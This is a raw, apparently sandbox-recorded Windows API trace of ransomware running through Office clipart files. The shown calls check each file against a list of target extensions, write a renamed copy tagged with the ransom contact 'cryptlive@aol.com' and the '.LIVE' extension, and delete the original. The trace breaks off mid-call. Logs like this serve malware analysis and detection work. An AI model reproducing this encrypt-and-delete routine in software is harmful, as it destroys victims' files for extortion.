1 [0152.808] lstrlenW (lpString=".rar") returned 4 [0152.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString=".bz2") returned 4 [0152.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString=".7z") returned 3 [0152.808] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.808] lstrlenW (lpString=".dbf") returned 4 [0152.808] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.808] lstrlenW (lpString=".1cd") returned 4 [0152.808] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.808] lstrlenW (lpString=".jpg") returned 4 [0152.808] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.808] lstrlenW (lpString=".doc") returned 4 [0152.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString=".docx") returned 5 [0152.808] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.808] lstrlenW (lpString=".pdf") returned 4 [0152.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString=".xls") returned 4 [0152.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.808] lstrlenW (lpString=".xlsx") returned 5 [0152.808] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.808] lstrlenW (lpString=".ppt") returned 4 [0152.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.808] lstrlenW (lpString=".zip") returned 4 [0152.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.808] lstrlenW (lpString=".rar") returned 4 [0152.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.809] lstrlenW (lpString=".bz2") returned 4 [0152.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.809] lstrlenW (lpString=".7z") returned 3 [0152.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.809] lstrlenW (lpString=".dbf") returned 4 [0152.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.809] lstrlenW (lpString=".1cd") returned 4 [0152.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0152.809] lstrlenW (lpString=".jpg") returned 4 [0152.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.809] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0152.809] lstrlenW (lpString="J0105390.WMF") returned 12 [0152.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.813] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4944) returned 1 [0152.813] CloseHandle (hObject=0x1b8) returned 1 [0152.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0152.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0152.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0152.813] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.813] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0152.814] GetLastError () returned 0x0 [0152.814] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1350, lpOverlapped=0x0) returned 1 [0152.970] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1360, lpOverlapped=0x0) returned 1 [0152.978] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.978] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.978] SetEndOfFile (hFile=0x1fc) returned 1 [0152.978] CloseHandle (hObject=0x1fc) returned 1 [0152.979] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.979] SetEndOfFile (hFile=0x1b8) returned 1 [0152.984] CloseHandle (hObject=0x1b8) returned 1 [0152.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 1 [0153.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.010] lstrlenW (lpString=".doc") returned 4 [0153.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.010] lstrlenW (lpString=".docx") returned 5 [0153.010] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.010] lstrlenW (lpString=".pdf") returned 4 [0153.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.010] lstrlenW (lpString=".xls") returned 4 [0153.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.010] lstrlenW (lpString=".xlsx") returned 5 [0153.010] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.010] lstrlenW (lpString=".ppt") returned 4 [0153.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.010] lstrlenW (lpString=".zip") returned 4 [0153.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.010] lstrlenW (lpString=".rar") returned 4 [0153.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.010] lstrlenW (lpString=".bz2") returned 4 [0153.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.010] lstrlenW (lpString=".7z") returned 3 [0153.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString=".dbf") returned 4 [0153.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString=".1cd") returned 4 [0153.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString=".jpg") returned 4 [0153.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString=".doc") returned 4 [0153.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString=".docx") returned 5 [0153.011] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.011] lstrlenW (lpString=".pdf") returned 4 [0153.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString=".xls") returned 4 [0153.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.011] lstrlenW (lpString=".xlsx") returned 5 [0153.011] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.011] lstrlenW (lpString=".ppt") returned 4 [0153.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString=".zip") returned 4 [0153.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.011] lstrlenW (lpString=".rar") returned 4 [0153.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString=".bz2") returned 4 [0153.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.011] lstrlenW (lpString=".7z") returned 3 [0153.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.011] lstrlenW (lpString=".dbf") returned 4 [0153.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.012] lstrlenW (lpString=".1cd") returned 4 [0153.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0153.012] lstrlenW (lpString=".jpg") returned 4 [0153.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.012] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.012] lstrlenW (lpString="J0105414.WMF") returned 12 [0153.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.013] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6244) returned 1 [0153.013] CloseHandle (hObject=0x380) returned 1 [0153.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 0x20 [0153.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0153.013] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.013] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.015] GetLastError () returned 0x0 [0153.015] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1864, lpOverlapped=0x0) returned 1 [0153.054] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1870, lpOverlapped=0x0) returned 1 [0153.055] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.055] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.055] SetEndOfFile (hFile=0x314) returned 1 [0153.055] CloseHandle (hObject=0x314) returned 1 [0153.055] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.055] SetEndOfFile (hFile=0x380) returned 1 [0153.058] CloseHandle (hObject=0x380) returned 1 [0153.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.059] lstrlenW (lpString=".doc") returned 4 [0153.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString=".docx") returned 5 [0153.059] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.059] lstrlenW (lpString=".pdf") returned 4 [0153.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString=".xls") returned 4 [0153.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.059] lstrlenW (lpString=".xlsx") returned 5 [0153.059] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.059] lstrlenW (lpString=".ppt") returned 4 [0153.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.059] lstrlenW (lpString=".zip") returned 4 [0153.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.059] lstrlenW (lpString=".rar") returned 4 [0153.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString=".bz2") returned 4 [0153.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString=".7z") returned 3 [0153.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.059] lstrlenW (lpString=".dbf") returned 4 [0153.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.059] lstrlenW (lpString=".1cd") returned 4 [0153.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.059] lstrlenW (lpString=".jpg") returned 4 [0153.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.060] lstrlenW (lpString=".doc") returned 4 [0153.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString=".docx") returned 5 [0153.060] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.060] lstrlenW (lpString=".pdf") returned 4 [0153.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString=".xls") returned 4 [0153.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.060] lstrlenW (lpString=".xlsx") returned 5 [0153.060] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.060] lstrlenW (lpString=".ppt") returned 4 [0153.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.060] lstrlenW (lpString=".zip") returned 4 [0153.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.060] lstrlenW (lpString=".rar") returned 4 [0153.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString=".bz2") returned 4 [0153.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString=".7z") returned 3 [0153.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.060] lstrlenW (lpString=".dbf") returned 4 [0153.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.060] lstrlenW (lpString=".1cd") returned 4 [0153.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105414.WMF") returned 63 [0153.060] lstrlenW (lpString=".jpg") returned 4 [0153.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.060] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.061] lstrlenW (lpString="J0105502.WMF") returned 12 [0153.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.080] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5472) returned 1 [0153.080] CloseHandle (hObject=0x3b4) returned 1 [0153.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0153.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.377] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.377] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0153.377] GetLastError () returned 0x0 [0153.377] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1560, lpOverlapped=0x0) returned 1 [0153.379] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1570, lpOverlapped=0x0) returned 1 [0153.382] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.382] WriteFile (in: hFile=0x38c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.382] SetEndOfFile (hFile=0x38c) returned 1 [0153.382] CloseHandle (hObject=0x38c) returned 1 [0153.382] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.383] SetEndOfFile (hFile=0x1e0) returned 1 [0153.385] CloseHandle (hObject=0x1e0) returned 1 [0153.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0153.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.386] lstrlenW (lpString=".doc") returned 4 [0153.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.386] lstrlenW (lpString=".docx") returned 5 [0153.386] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.386] lstrlenW (lpString=".pdf") returned 4 [0153.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.386] lstrlenW (lpString=".xls") returned 4 [0153.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.386] lstrlenW (lpString=".xlsx") returned 5 [0153.386] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.386] lstrlenW (lpString=".ppt") returned 4 [0153.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.386] lstrlenW (lpString=".zip") returned 4 [0153.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.386] lstrlenW (lpString=".rar") returned 4 [0153.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.386] lstrlenW (lpString=".bz2") returned 4 [0153.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.386] lstrlenW (lpString=".7z") returned 3 [0153.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.386] lstrlenW (lpString=".dbf") returned 4 [0153.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63 [0153.386] lstrlenW (lpString=".1cd") returned 4 [0153.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.387] lstrlenW 